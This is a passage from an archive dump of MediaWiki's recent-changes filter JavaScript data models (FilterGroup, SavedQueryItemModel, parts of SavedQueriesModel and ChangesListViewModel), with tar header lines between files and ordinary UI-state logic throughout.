	if ( this.default !== itemID ) {
		this.default = itemID;

		// Set for individual itens
		this.getItems().forEach( function ( item ) {
			item.toggleDefault( item.getID() === itemID );
		} );

		this.emit( 'default', itemID );
	}
};

/**
 * Get the default query ID
 *
 * @return {string} Default query identifier
 */
SavedQueriesModel.prototype.getDefault = function () {
	return this.default;
};

/**
 * Check if the saved queries were converted
 *
 * @return {boolean} Saved queries were converted from the previous
 *  version to the new version
 */
SavedQueriesModel.prototype.isConverted = function () {
	return this.converted;
};

module.exports = SavedQueriesModel;
mediawiki.rcfilters/dm/FilterGroup.js000066600000071716151335045660013733 0ustar00var FilterItem = require( './FilterItem.js' ),
	FilterGroup;

/**
 * View model for a filter group
 *
 * @class mw.rcfilters.dm.FilterGroup
 * @mixins OO.EventEmitter
 * @mixins OO.EmitterList
 *
 * @constructor
 * @param {string} name Group name
 * @param {Object} [config] Configuration options
 * @cfg {string} [type='send_unselected_if_any'] Group type
 * @cfg {string} [view='default'] Name of the display group this group
 *  is a part of.
 * @cfg {boolean} [sticky] This group is 'sticky'. It is synchronized
 *  with a preference, does not participate in Saved Queries, and is
 *  not shown in the active filters area.
 * @cfg {string} [title] Group title
 * @cfg {boolean} [hidden] This group is hidden from the regular menu views
 *  and the active filters area.
 * @cfg {boolean} [allowArbitrary] Allows for an arbitrary value to be added to the
 *  group from the URL, even if it wasn't initially set up.
 * @cfg {number} [range] An object defining minimum and maximum values for numeric
 *  groups. { min: x, max: y }
 * @cfg {number} [minValue] Minimum value for numeric groups
 * @cfg {string} [separator='|'] Value separator for 'string_options' groups
 * @cfg {boolean} [supportsAll=true] For 'string_options' groups, whether the magic 'all' value
 *  is understood to mean all options are selected.
 * @cfg {boolean} [active] Group is active
 * @cfg {boolean} [fullCoverage] This filters in this group collectively cover all results
 * @cfg {Object} [conflicts] Defines the conflicts for this filter group
 * @cfg {string|Object} [labelPrefixKey] An i18n key defining the prefix label for this
 *  group. If the prefix has 'invert' state, the parameter is expected to be an object
 *  with 'default' and 'inverted' as keys.
 * @cfg {Object} [whatsThis] Defines the messages that should appear for the 'what's this' popup
 * @cfg {string} [whatsThis.header] The header of the whatsThis popup message
 * @cfg {string} [whatsThis.body] The body of the whatsThis popup message
 * @cfg {string} [whatsThis.url] The url for the link in the whatsThis popup message
 * @cfg {string} [whatsThis.linkMessage] The text for the link in the whatsThis popup message
 * @cfg {boolean} [visible=true] The visibility of the group
 */
FilterGroup = function MwRcfiltersDmFilterGroup( name, config ) {
	config = config || {};

	// Mixin constructor
	OO.EventEmitter.call( this );
	OO.EmitterList.call( this );

	this.name = name;
	this.type = config.type || 'send_unselected_if_any';
	this.view = config.view || 'default';
	this.sticky = !!config.sticky;
	this.title = config.title || name;
	this.hidden = !!config.hidden;
	this.allowArbitrary = !!config.allowArbitrary;
	this.numericRange = config.range;
	this.separator = config.separator || '|';
	this.supportsAll = config.supportsAll === undefined ? true : !!config.supportsAll;
	this.labelPrefixKey = config.labelPrefixKey;
	this.visible = config.visible === undefined ? true : !!config.visible;

	this.currSelected = null;
	this.active = !!config.active;
	this.fullCoverage = !!config.fullCoverage;

	this.whatsThis = config.whatsThis || {};

	this.conflicts = config.conflicts || {};
	this.defaultParams = {};
	this.defaultFilters = {};

	this.aggregate( { update: 'filterItemUpdate' } );
	this.connect( this, { filterItemUpdate: 'onFilterItemUpdate' } );
};

/* Initialization */
OO.initClass( FilterGroup );
OO.mixinClass( FilterGroup, OO.EventEmitter );
OO.mixinClass( FilterGroup, OO.EmitterList );

/* Events */

/**
 * @event update
 *
 * Group state has been updated
 */

/* Methods */

/**
 * Initialize the group and create its filter items
 *
 * @param {Object} filterDefinition Filter definition for this group
 * @param {string|Object} [groupDefault] Definition of the group default
 */
FilterGroup.prototype.initializeFilters = function ( filterDefinition, groupDefault ) {
	var defaultParam,
		supersetMap = {},
		model = this,
		items = [];

	filterDefinition.forEach( function ( filter ) {
		// Instantiate an item
		var subsetNames = [],
			filterItem = new FilterItem( filter.name, model, {
				group: model.getName(),
				label: filter.label || filter.name,
				description: filter.description || '',
				labelPrefixKey: model.labelPrefixKey,
				cssClass: filter.cssClass,
				identifiers: filter.identifiers,
				defaultHighlightColor: filter.defaultHighlightColor
			} );

		if ( filter.subset ) {
			filter.subset = filter.subset.map( function ( el ) {
				return el.filter;
			} );

			subsetNames = [];

			filter.subset.forEach( function ( subsetFilterName ) {
				// Subsets (unlike conflicts) are always inside the same group
				// We can re-map the names of the filters we are getting from
				// the subsets with the group prefix
				var subsetName = model.getPrefixedName( subsetFilterName );
				// For convenience, we should store each filter's "supersets" -- these are
				// the filters that have that item in their subset list. This will just
				// make it easier to go through whether the item has any other items
				// that affect it (and are selected) at any given time
				supersetMap[ subsetName ] = supersetMap[ subsetName ] || [];
				mw.rcfilters.utils.addArrayElementsUnique(
					supersetMap[ subsetName ],
					filterItem.getName()
				);

				// Translate subset param name to add the group name, so we
				// get consistent naming. We know that subsets are only within
				// the same group
				subsetNames.push( subsetName );
			} );

			// Set translated subset
			filterItem.setSubset( subsetNames );
		}

		items.push( filterItem );

		// Store default parameter state; in this case, default is defined per filter
		if (
			model.getType() === 'send_unselected_if_any' ||
			model.getType() === 'boolean'
		) {
			// Store the default parameter state
			// For this group type, parameter values are direct
			// We need to convert from a boolean to a string ('1' and '0')
			model.defaultParams[ filter.name ] = String( Number( filter.default || 0 ) );
		} else if ( model.getType() === 'any_value' ) {
			model.defaultParams[ filter.name ] = filter.default;
		}
	} );

	// Add items
	this.addItems( items );

	// Now that we have all items, we can apply the superset map
	this.getItems().forEach( function ( filterItem ) {
		filterItem.setSuperset( supersetMap[ filterItem.getName() ] );
	} );

	// Store default parameter state; in this case, default is defined per the
	// entire group, given by groupDefault method parameter
	if ( this.getType() === 'string_options' ) {
		// Store the default parameter group state
		// For this group, the parameter is group name and value is the names
		// of selected items
		this.defaultParams[ this.getName() ] = mw.rcfilters.utils.normalizeParamOptions(
			// Current values
			groupDefault ?
				groupDefault.split( this.getSeparator() ) :
				[],
			// Legal values
			this.getItems().map( function ( item ) {
				return item.getParamName();
			} )
		).join( this.getSeparator() );
	} else if ( this.getType() === 'single_option' ) {
		defaultParam = groupDefault !== undefined ?
			groupDefault : this.getItems()[ 0 ].getParamName();

		// For this group, the parameter is the group name,
		// and a single item can be selected: default or first item
		this.defaultParams[ this.getName() ] = defaultParam;
	}

	// add highlights to defaultParams
	this.getItems().forEach( function ( filterItem ) {
		if ( filterItem.isHighlighted() ) {
			this.defaultParams[ filterItem.getName() + '_color' ] = filterItem.getHighlightColor();
		}
	}.bind( this ) );

	// Store default filter state based on default params
	this.defaultFilters = this.getFilterRepresentation( this.getDefaultParams() );

	// Check for filters that should be initially selected by their default value
	if ( this.isSticky() ) {
		var defaultFilters = this.defaultFilters;
		for ( var filterName in defaultFilters ) {
			var filterValue = defaultFilters[ filterName ];
			model.getItemByName( filterName ).toggleSelected( filterValue );
		}
	}

	// Verify that single_option group has at least one item selected
	if (
		this.getType() === 'single_option' &&
		this.findSelectedItems().length === 0
	) {
		defaultParam = groupDefault !== undefined ?
			groupDefault : this.getItems()[ 0 ].getParamName();

		// Single option means there must be a single option
		// selected, so we have to either select the default
		// or select the first option
		this.selectItemByParamName( defaultParam );
	}
};

/**
 * Respond to filterItem update event
 *
 * @param {mw.rcfilters.dm.FilterItem} item Updated filter item
 * @fires update
 */
FilterGroup.prototype.onFilterItemUpdate = function ( item ) {
	// Update state
	var changed = false,
		active = this.areAnySelected(),
		model = this;

	if ( this.getType() === 'single_option' ) {
		// This group must have one item selected always
		// and must never have more than one item selected at a time
		if ( this.findSelectedItems().length === 0 ) {
			// Nothing is selected anymore
			// Select the default or the first item
			this.currSelected = this.getItemByParamName( this.defaultParams[ this.getName() ] ) ||
				this.getItems()[ 0 ];
			this.currSelected.toggleSelected( true );
			changed = true;
		} else if ( this.findSelectedItems().length > 1 ) {
			// There is more than one item selected
			// This should only happen if the item given
			// is the one that is selected, so unselect
			// all items that is not it
			this.findSelectedItems().forEach( function ( itemModel ) {
				// Note that in case the given item is actually
				// not selected, this loop will end up unselecting
				// all items, which would trigger the case above
				// when the last item is unselected anyways
				var selected = itemModel.getName() === item.getName() &&
					item.isSelected();

				itemModel.toggleSelected( selected );
				if ( selected ) {
					model.currSelected = itemModel;
				}
			} );
			changed = true;
		}
	}

	if ( this.isSticky() ) {
		// If this group is sticky, then change the default according to the
		// current selection.
		this.defaultParams = this.getParamRepresentation( this.getSelectedState() );
	}

	if (
		changed ||
		this.active !== active ||
		this.currSelected !== item
	) {
		this.active = active;
		this.currSelected = item;

		this.emit( 'update' );
	}
};

/**
 * Get group active state
 *
 * @return {boolean} Active state
 */
FilterGroup.prototype.isActive = function () {
	return this.active;
};

/**
 * Get group hidden state
 *
 * @return {boolean} Hidden state
 */
FilterGroup.prototype.isHidden = function () {
	return this.hidden;
};

/**
 * Get group allow arbitrary state
 *
 * @return {boolean} Group allows an arbitrary value from the URL
 */
FilterGroup.prototype.isAllowArbitrary = function () {
	return this.allowArbitrary;
};

/**
 * Get group maximum value for numeric groups
 *
 * @return {number|null} Group max value
 */
FilterGroup.prototype.getMaxValue = function () {
	return this.numericRange && this.numericRange.max !== undefined ?
		this.numericRange.max : null;
};

/**
 * Get group minimum value for numeric groups
 *
 * @return {number|null} Group max value
 */
FilterGroup.prototype.getMinValue = function () {
	return this.numericRange && this.numericRange.min !== undefined ?
		this.numericRange.min : null;
};

/**
 * Get group name
 *
 * @return {string} Group name
 */
FilterGroup.prototype.getName = function () {
	return this.name;
};

/**
 * Get the default param state of this group
 *
 * @return {Object} Default param state
 */
FilterGroup.prototype.getDefaultParams = function () {
	return this.defaultParams;
};

/**
 * Get the default filter state of this group
 *
 * @return {Object} Default filter state
 */
FilterGroup.prototype.getDefaultFilters = function () {
	return this.defaultFilters;
};

/**
 * Get the messags defining the 'whats this' popup for this group
 *
 * @return {Object} What's this messages
 */
FilterGroup.prototype.getWhatsThis = function () {
	return this.whatsThis;
};

/**
 * Check whether this group has a 'what's this' message
 *
 * @return {boolean} This group has a what's this message
 */
FilterGroup.prototype.hasWhatsThis = function () {
	return !!this.whatsThis.body;
};

/**
 * Get the conflicts associated with the entire group.
 *
 * Conflict object is set up by filter name keys and conflict
 * definition.
 *
 *     @example
 *     [
 *         {
 *             filterName: {
 *                 filter: filterName,
 *                 group: group1
 *             }
 *         },
 *         {
 *             filterName2: {
 *                 filter: filterName2,
 *                 group: group2
 *             }
 *         }
 *     ]
 *
 * @return {Object} Conflict definition
 */
FilterGroup.prototype.getConflicts = function () {
	return this.conflicts;
};

/**
 * Set conflicts for this group. See #getConflicts for the expected
 * structure of the definition.
 *
 * @param {Object} conflicts Conflicts for this group
 */
FilterGroup.prototype.setConflicts = function ( conflicts ) {
	this.conflicts = conflicts;
};

/**
 * Check whether this item has a potential conflict with the given item
 *
 * This checks whether the given item is in the list of conflicts of
 * the current item, but makes no judgment about whether the conflict
 * is currently at play (either one of the items may not be selected)
 *
 * @param {mw.rcfilters.dm.FilterItem} filterItem Filter item
 * @return {boolean} This item has a conflict with the given item
 */
FilterGroup.prototype.existsInConflicts = function ( filterItem ) {
	return Object.prototype.hasOwnProperty.call( this.getConflicts(), filterItem.getName() );
};

/**
 * Check whether there are any items selected
 *
 * @return {boolean} Any items in the group are selected
 */
FilterGroup.prototype.areAnySelected = function () {
	return this.getItems().some( function ( filterItem ) {
		return filterItem.isSelected();
	} );
};

/**
 * Check whether all items selected
 *
 * @return {boolean} All items are selected
 */
FilterGroup.prototype.areAllSelected = function () {
	var selected = [],
		unselected = [];

	this.getItems().forEach( function ( filterItem ) {
		if ( filterItem.isSelected() ) {
			selected.push( filterItem );
		} else {
			unselected.push( filterItem );
		}
	} );

	if ( unselected.length === 0 ) {
		return true;
	}

	// check if every unselected is a subset of a selected
	return unselected.every( function ( unselectedFilterItem ) {
		return selected.some( function ( selectedFilterItem ) {
			return selectedFilterItem.existsInSubset( unselectedFilterItem.getName() );
		} );
	} );
};

/**
 * Get all selected items in this group
 *
 * @param {mw.rcfilters.dm.FilterItem} [excludeItem] Item to exclude from the list
 * @return {mw.rcfilters.dm.FilterItem[]} Selected items
 */
FilterGroup.prototype.findSelectedItems = function ( excludeItem ) {
	var excludeName = ( excludeItem && excludeItem.getName() ) || '';

	return this.getItems().filter( function ( item ) {
		return item.getName() !== excludeName && item.isSelected();
	} );
};

/**
 * Check whether all selected items are in conflict with the given item
 *
 * @param {mw.rcfilters.dm.FilterItem} filterItem Filter item to test
 * @return {boolean} All selected items are in conflict with this item
 */
FilterGroup.prototype.areAllSelectedInConflictWith = function ( filterItem ) {
	var selectedItems = this.findSelectedItems( filterItem );

	return selectedItems.length > 0 &&
		(
			// The group as a whole is in conflict with this item
			this.existsInConflicts( filterItem ) ||
			// All selected items are in conflict individually
			selectedItems.every( function ( selectedFilter ) {
				return selectedFilter.existsInConflicts( filterItem );
			} )
		);
};

/**
 * Check whether any of the selected items are in conflict with the given item
 *
 * @param {mw.rcfilters.dm.FilterItem} filterItem Filter item to test
 * @return {boolean} Any of the selected items are in conflict with this item
 */
FilterGroup.prototype.areAnySelectedInConflictWith = function ( filterItem ) {
	var selectedItems = this.findSelectedItems( filterItem );

	return selectedItems.length > 0 && (
		// The group as a whole is in conflict with this item
		this.existsInConflicts( filterItem ) ||
		// Any selected items are in conflict individually
		selectedItems.some( function ( selectedFilter ) {
			return selectedFilter.existsInConflicts( filterItem );
		} )
	);
};

/**
 * Get the parameter representation from this group
 *
 * @param {Object} [filterRepresentation] An object defining the state
 *  of the filters in this group, keyed by their name and current selected
 *  state value.
 * @return {Object} Parameter representation
 */
FilterGroup.prototype.getParamRepresentation = function ( filterRepresentation ) {
	var values,
		areAnySelected = false,
		buildFromCurrentState = !filterRepresentation,
		defaultFilters = this.getDefaultFilters(),
		result = {},
		model = this,
		filterParamNames = {},
		getSelectedParameter = function ( filters ) {
			var item,
				selected = [];

			// Find if any are selected
			// eslint-disable-next-line no-jquery/no-each-util
			$.each( filters, function ( name, value ) {
				if ( value ) {
					selected.push( name );
				}
			} );

			item = model.getItemByName( selected[ 0 ] );
			return ( item && item.getParamName() ) || '';
		};

	filterRepresentation = filterRepresentation || {};

	// Create or complete the filterRepresentation definition
	this.getItems().forEach( function ( item ) {
		// Map filter names to their parameter names
		filterParamNames[ item.getName() ] = item.getParamName();

		if ( buildFromCurrentState ) {
			// This means we have not been given a filter representation
			// so we are building one based on current state
			filterRepresentation[ item.getName() ] = item.getValue();
		} else if ( filterRepresentation[ item.getName() ] === undefined ) {
			// We are given a filter representation, but we have to make
			// sure that we fill in the missing filters if there are any
			// we will assume they are all falsey
			if ( model.isSticky() ) {
				filterRepresentation[ item.getName() ] = !!defaultFilters[ item.getName() ];
			} else {
				filterRepresentation[ item.getName() ] = false;
			}
		}

		if ( filterRepresentation[ item.getName() ] ) {
			areAnySelected = true;
		}
	} );

	// Build result
	if (
		this.getType() === 'send_unselected_if_any' ||
		this.getType() === 'boolean' ||
		this.getType() === 'any_value'
	) {
		// First, check if any of the items are selected at all.
		// If none is selected, we're treating it as if they are
		// all false

		// Go over the items and define the correct values
		// eslint-disable-next-line no-jquery/no-each-util
		$.each( filterRepresentation, function ( name, value ) {
			// We must store all parameter values as strings '0' or '1'
			if ( model.getType() === 'send_unselected_if_any' ) {
				result[ filterParamNames[ name ] ] = areAnySelected ?
					String( Number( !value ) ) :
					'0';
			} else if ( model.getType() === 'boolean' ) {
				// Representation is straight-forward and direct from
				// the parameter value to the filter state
				result[ filterParamNames[ name ] ] = String( Number( !!value ) );
			} else if ( model.getType() === 'any_value' ) {
				result[ filterParamNames[ name ] ] = value;
			}
		} );
	} else if ( this.getType() === 'string_options' ) {
		values = [];

		// eslint-disable-next-line no-jquery/no-each-util
		$.each( filterRepresentation, function ( name, value ) {
			// Collect values
			if ( value ) {
				values.push( filterParamNames[ name ] );
			}
		} );

		result[ this.getName() ] = this.getSupportsAll() &&
				values.length === Object.keys( filterRepresentation ).length ?
			'all' : values.join( this.getSeparator() );
	} else if ( this.getType() === 'single_option' ) {
		result[ this.getName() ] = getSelectedParameter( filterRepresentation );
	}

	return result;
};

/**
 * Get the filter representation this group would provide
 * based on given parameter states.
 *
 * @param {Object} [paramRepresentation] An object defining a parameter
 *  state to translate the filter state from. If not given, an object
 *  representing all filters as falsey is returned; same as if the parameter
 *  given were an empty object, or had some of the filters missing.
 * @return {Object} Filter representation
 */
FilterGroup.prototype.getFilterRepresentation = function ( paramRepresentation ) {
	var areAnySelected, paramValues, item, currentValue,
		oneWasSelected = false,
		defaultParams = this.getDefaultParams(),
		expandedParams = $.extend( true, {}, paramRepresentation ),
		model = this,
		paramToFilterMap = {},
		result = {};

	if ( this.isSticky() ) {
		// If the group is sticky, check if all parameters are represented
		// and for those that aren't represented, add them with their default
		// values
		paramRepresentation = $.extend( true, {}, this.getDefaultParams(), paramRepresentation );
	}

	paramRepresentation = paramRepresentation || {};
	if (
		this.getType() === 'send_unselected_if_any' ||
		this.getType() === 'boolean' ||
		this.getType() === 'any_value'
	) {
		// Go over param representation; map and check for selections
		this.getItems().forEach( function ( filterItem ) {
			var paramName = filterItem.getParamName();

			expandedParams[ paramName ] = paramRepresentation[ paramName ] || '0';
			paramToFilterMap[ paramName ] = filterItem;

			if ( Number( paramRepresentation[ filterItem.getParamName() ] ) ) {
				areAnySelected = true;
			}
		} );

		// eslint-disable-next-line no-jquery/no-each-util
		$.each( expandedParams, function ( paramName, paramValue ) {
			var filterItem = paramToFilterMap[ paramName ];

			if ( model.getType() === 'send_unselected_if_any' ) {
				// Flip the definition between the parameter
				// state and the filter state
				// This is what the 'toggleSelected' value of the filter is
				result[ filterItem.getName() ] = areAnySelected ?
					!Number( paramValue ) :
					// Otherwise, there are no selected items in the
					// group, which means the state is false
					false;
			} else if ( model.getType() === 'boolean' ) {
				// Straight-forward definition of state
				result[ filterItem.getName() ] = !!Number( paramRepresentation[ filterItem.getParamName() ] );
			} else if ( model.getType() === 'any_value' ) {
				result[ filterItem.getName() ] = paramRepresentation[ filterItem.getParamName() ];
			}
		} );
	} else if ( this.getType() === 'string_options' ) {
		currentValue = paramRepresentation[ this.getName() ] || '';

		// Normalize the given parameter values
		paramValues = mw.rcfilters.utils.normalizeParamOptions(
			// Given
			currentValue.split(
				this.getSeparator()
			),
			// Allowed values
			this.getItems().map( function ( filterItem ) {
				return filterItem.getParamName();
			} ),
			this.getSupportsAll()
		);
		// Translate the parameter values into a filter selection state
		this.getItems().forEach( function ( filterItem ) {
			// If the parameter is set to 'all', set all filters to true
			result[ filterItem.getName() ] = (
				this.getSupportsAll() && paramValues.length === 1 && paramValues[ 0 ] === 'all'
			) ?
				true :
				// Otherwise, the filter is selected only if it appears in the parameter values
				paramValues.indexOf( filterItem.getParamName() ) > -1;
		}.bind( this ) );
	} else if ( this.getType() === 'single_option' ) {
		// There is parameter that fits a single filter and if not, get the default
		this.getItems().forEach( function ( filterItem ) {
			var selected = filterItem.getParamName() === paramRepresentation[ model.getName() ];

			result[ filterItem.getName() ] = selected;
			oneWasSelected = oneWasSelected || selected;
		} );
	}

	// Go over result and make sure all filters are represented.
	// If any filters are missing, they will get a falsey value
	this.getItems().forEach( function ( filterItem ) {
		if ( result[ filterItem.getName() ] === undefined ) {
			result[ filterItem.getName() ] = this.getFalsyValue();
		}
	}.bind( this ) );

	// Make sure that at least one option is selected in
	// single_option groups, no matter what path was taken
	// If none was selected by the given definition, then
	// we need to select the one in the base state -- either
	// the default given, or the first item
	if (
		this.getType() === 'single_option' &&
		!oneWasSelected
	) {
		item = this.getItems()[ 0 ];
		if ( defaultParams[ this.getName() ] ) {
			item = this.getItemByParamName( defaultParams[ this.getName() ] );
		}

		result[ item.getName() ] = true;
	}

	return result;
};

/**
 * @return {*} The appropriate falsy value for this group type
 */
FilterGroup.prototype.getFalsyValue = function () {
	return this.getType() === 'any_value' ? '' : false;
};

/**
 * Get current selected state of all filter items in this group
 *
 * @return {Object} Selected state
 */
FilterGroup.prototype.getSelectedState = function () {
	var state = {};

	this.getItems().forEach( function ( filterItem ) {
		state[ filterItem.getName() ] = filterItem.getValue();
	} );

	return state;
};

/**
 * Get item by its filter name
 *
 * @param {string} filterName Filter name
 * @return {mw.rcfilters.dm.FilterItem} Filter item
 */
FilterGroup.prototype.getItemByName = function ( filterName ) {
	return this.getItems().filter( function ( item ) {
		return item.getName() === filterName;
	} )[ 0 ];
};

/**
 * Select an item by its parameter name
 *
 * @param {string} paramName Filter parameter name
 */
FilterGroup.prototype.selectItemByParamName = function ( paramName ) {
	this.getItems().forEach( function ( item ) {
		item.toggleSelected( item.getParamName() === String( paramName ) );
	} );
};

/**
 * Get item by its parameter name
 *
 * @param {string} paramName Parameter name
 * @return {mw.rcfilters.dm.FilterItem} Filter item
 */
FilterGroup.prototype.getItemByParamName = function ( paramName ) {
	return this.getItems().filter( function ( item ) {
		return item.getParamName() === String( paramName );
	} )[ 0 ];
};

/**
 * Get group type
 *
 * @return {string} Group type
 */
FilterGroup.prototype.getType = function () {
	return this.type;
};

/**
 * Check whether this group is represented by a single parameter
 * or whether each item is its own parameter
 *
 * @return {boolean} This group is a single parameter
 */
FilterGroup.prototype.isPerGroupRequestParameter = function () {
	return (
		this.getType() === 'string_options' ||
		this.getType() === 'single_option'
	);
};

/**
 * Get display group
 *
 * @return {string} Display group
 */
FilterGroup.prototype.getView = function () {
	return this.view;
};

/**
 * Get the prefix used for the filter names inside this group.
 *
 * @return {string} Group prefix
 */
FilterGroup.prototype.getNamePrefix = function () {
	return this.getName() + '__';
};

/**
 * Get a filter name with the prefix used for the filter names inside this group.
 *
 * @param {string} name Filter name to prefix
 * @return {string} Group prefix
 */
FilterGroup.prototype.getPrefixedName = function ( name ) {
	return this.getNamePrefix() + name;
};

/**
 * Get group's title
 *
 * @return {string} Title
 */
FilterGroup.prototype.getTitle = function () {
	return this.title;
};

/**
 * Get group's values separator
 *
 * @return {string} Values separator
 */
FilterGroup.prototype.getSeparator = function () {
	return this.separator;
};

/**
 * Check whether the group supports the magic 'all' value to indicate that all values are selected.
 *
 * @return {boolean} Group supports the magic 'all' value
 */
FilterGroup.prototype.getSupportsAll = function () {
	return this.supportsAll;
};

/**
 * Check whether the group is defined as full coverage
 *
 * @return {boolean} Group is full coverage
 */
FilterGroup.prototype.isFullCoverage = function () {
	return this.fullCoverage;
};

/**
 * Check whether the group is defined as sticky default
 *
 * @return {boolean} Group is sticky default
 */
FilterGroup.prototype.isSticky = function () {
	return this.sticky;
};

/**
 * Normalize a value given to this group. This is mostly for correcting
 * arbitrary values for 'single option' groups, given by the user settings
 * or the URL that can go outside the limits that are allowed.
 *
 * @param  {string} value Given value
 * @return {string} Corrected value
 */
FilterGroup.prototype.normalizeArbitraryValue = function ( value ) {
	if (
		this.getType() === 'single_option' &&
		this.isAllowArbitrary()
	) {
		if (
			this.getMaxValue() !== null &&
			value > this.getMaxValue()
		) {
			// Change the value to the actual max value
			return String( this.getMaxValue() );
		} else if (
			this.getMinValue() !== null &&
			value < this.getMinValue()
		) {
			// Change the value to the actual min value
			return String( this.getMinValue() );
		}
	}

	return value;
};

/**
 * Toggle the visibility of this group
 *
 * @param {boolean} [isVisible] Item is visible
 */
FilterGroup.prototype.toggleVisible = function ( isVisible ) {
	isVisible = isVisible === undefined ? !this.visible : isVisible;

	if ( this.visible !== isVisible ) {
		this.visible = isVisible;
		this.emit( 'update' );
	}
};

/**
 * Check whether the group is visible
 *
 * @return {boolean} Group is visible
 */
FilterGroup.prototype.isVisible = function () {
	return this.visible;
};

/**
 * Set the visibility of the items under this group by the given items array
 *
 * @param {mw.rcfilters.dm.ItemModel[]} visibleItems An array of visible items
 */
FilterGroup.prototype.setVisibleItems = function ( visibleItems ) {
	this.getItems().forEach( function ( itemModel ) {
		itemModel.toggleVisible( visibleItems.indexOf( itemModel ) !== -1 );
	} );
};

module.exports = FilterGroup;
mediawiki.rcfilters/dm/SavedQueryItemModel.js000066600000005114151335045660015346 0ustar00/**
 * View model for a single saved query
 *
 * @class mw.rcfilters.dm.SavedQueryItemModel
 * @mixins OO.EventEmitter
 *
 * @constructor
 * @param {string} id Unique identifier
 * @param {string} label Saved query label
 * @param {Object} data Saved query data
 * @param {Object} [config] Configuration options
 * @cfg {boolean} [default] This item is the default
 */
var SavedQueryItemModel = function MwRcfiltersDmSavedQueriesModel( id, label, data, config ) {
	config = config || {};

	// Mixin constructor
	OO.EventEmitter.call( this );

	this.id = id;
	this.label = label;
	this.data = data;
	this.default = !!config.default;
};

/* Initialization */

OO.initClass( SavedQueryItemModel );
OO.mixinClass( SavedQueryItemModel, OO.EventEmitter );

/* Events */

/**
 * @event update
 *
 * Model has been updated
 */

/* Methods */

/**
 * Get an object representing the state of this item
 *
 * @return {Object} Object representing the current data state
 *  of the object
 */
SavedQueryItemModel.prototype.getState = function () {
	return {
		data: this.getData(),
		label: this.getLabel()
	};
};

/**
 * Get the query's identifier
 *
 * @return {string} Query identifier
 */
SavedQueryItemModel.prototype.getID = function () {
	return this.id;
};

/**
 * Get query label
 *
 * @return {string} Query label
 */
SavedQueryItemModel.prototype.getLabel = function () {
	return this.label;
};

/**
 * Update the query label
 *
 * @param {string} newLabel New label
 */
SavedQueryItemModel.prototype.updateLabel = function ( newLabel ) {
	if ( newLabel && this.label !== newLabel ) {
		this.label = newLabel;
		this.emit( 'update' );
	}
};

/**
 * Get query data
 *
 * @return {Object} Object representing parameter and highlight data
 */
SavedQueryItemModel.prototype.getData = function () {
	return this.data;
};

/**
 * Get the combined data of this item as a flat object of parameters
 *
 * @return {Object} Combined parameter data
 */
SavedQueryItemModel.prototype.getCombinedData = function () {
	return $.extend( true, {}, this.data.params, this.data.highlights );
};

/**
 * Check whether this item is the default
 *
 * @return {boolean} Query is set to be default
 */
SavedQueryItemModel.prototype.isDefault = function () {
	return this.default;
};

/**
 * Toggle the default state of this query item
 *
 * @param {boolean} isDefault Query is default
 */
SavedQueryItemModel.prototype.toggleDefault = function ( isDefault ) {
	isDefault = isDefault === undefined ? !this.default : isDefault;

	if ( this.default !== isDefault ) {
		this.default = isDefault;
		this.emit( 'update' );
	}
};

module.exports = SavedQueryItemModel;
mediawiki.rcfilters/dm/ChangesListViewModel.js000066600000011300151335045660015470 0ustar00/**
 * View model for the changes list
 *
 * @class mw.rcfilters.dm.ChangesListViewModel
 * @mixins OO.EventEmitter
 *
 * @param {jQuery} $initialFieldset The initial server-generated legacy form content
 * @constructor
 */
var ChangesListViewModel = function MwRcfiltersDmChangesListViewModel( $initialFieldset ) {
	// Mixin constructor
	OO.EventEmitter.call( this );

	this.valid = true;
	this.newChangesExist = false;
	this.liveUpdate = false;
	this.unseenWatchedChanges = false;

	this.extractNextFrom( $initialFieldset );
};

/* Initialization */
OO.initClass( ChangesListViewModel );
OO.mixinClass( ChangesListViewModel, OO.EventEmitter );

/* Events */

/**
 * @event invalidate
 *
 * The list of changes is now invalid (out of date)
 */

/**
 * @event update
 * @param {jQuery|string} $changesListContent List of changes
 * @param {jQuery} $fieldset Server-generated form
 * @param {string} noResultsDetails Type of no result error
 * @param {boolean} isInitialDOM Whether the previous dom variables are from the initial page load
 * @param {boolean} fromLiveUpdate These are new changes fetched via Live Update
 *
 * The list of changes has been updated
 */

/**
 * @event newChangesExist
 * @param {boolean} newChangesExist
 *
 * The existence of changes newer than those currently displayed has changed.
 */

/**
 * @event liveUpdateChange
 * @param {boolean} enable
 *
 * The state of the 'live update' feature has changed.
 */

/* Methods */

/**
 * Invalidate the list of changes
 *
 * @fires invalidate
 */
ChangesListViewModel.prototype.invalidate = function () {
	if ( this.valid ) {
		this.valid = false;
		this.emit( 'invalidate' );
	}
};

/**
 * Update the model with an updated list of changes
 *
 * @param {jQuery|string} changesListContent
 * @param {jQuery} $fieldset
 * @param {string} noResultsDetails Type of no result error
 * @param {boolean} [isInitialDOM] Using the initial (already attached) DOM elements
 * @param {boolean} [separateOldAndNew] Whether a logical separation between old and new changes is needed
 * @fires update
 */
ChangesListViewModel.prototype.update = function ( changesListContent, $fieldset, noResultsDetails, isInitialDOM, separateOldAndNew ) {
	var from = this.nextFrom;
	this.valid = true;
	this.extractNextFrom( $fieldset );
	this.checkForUnseenWatchedChanges( changesListContent );
	this.emit( 'update', changesListContent, $fieldset, noResultsDetails, isInitialDOM, separateOldAndNew ? from : null );
};

/**
 * Specify whether new changes exist
 *
 * @param {boolean} newChangesExist
 * @fires newChangesExist
 */
ChangesListViewModel.prototype.setNewChangesExist = function ( newChangesExist ) {
	if ( newChangesExist !== this.newChangesExist ) {
		this.newChangesExist = newChangesExist;
		this.emit( 'newChangesExist', newChangesExist );
	}
};

/**
 * @return {boolean} Whether new changes exist
 */
ChangesListViewModel.prototype.getNewChangesExist = function () {
	return this.newChangesExist;
};

/**
 * Extract the value of the 'from' parameter from a link in the field set
 *
 * @param {jQuery} $fieldset
 */
ChangesListViewModel.prototype.extractNextFrom = function ( $fieldset ) {
	var data = $fieldset.find( '.rclistfrom > a, .wlinfo' ).data( 'params' );
	if ( data && data.from ) {
		this.nextFrom = data.from;
		this.nextFromFormatted = data.fromFormatted;
	}
};

/**
 * @return {string} The 'from' parameter that can be used to query new changes
 */
ChangesListViewModel.prototype.getNextFrom = function () {
	return this.nextFrom;
};

/**
 * @return {string} The 'from' parameter formatted per the user's datetime format preference
 */
ChangesListViewModel.prototype.getNextFromFormatted = function () {
	return this.nextFromFormatted;
};

/**
 * Toggle the 'live update' feature on/off
 *
 * @param {boolean} enable
 */
ChangesListViewModel.prototype.toggleLiveUpdate = function ( enable ) {
	enable = enable === undefined ? !this.liveUpdate : enable;
	if ( enable !== this.liveUpdate ) {
		this.liveUpdate = enable;
